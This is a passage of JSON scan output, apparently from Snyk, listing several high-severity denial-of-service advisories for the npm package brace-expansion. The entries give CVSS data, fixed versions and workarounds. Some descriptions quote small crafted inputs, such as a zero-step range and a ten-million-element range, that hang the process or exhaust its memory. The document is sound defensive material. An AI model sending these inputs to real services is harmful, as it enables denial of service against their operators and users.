"@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-packlist@10.0.4", "ignore-walk@8.0.0", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], 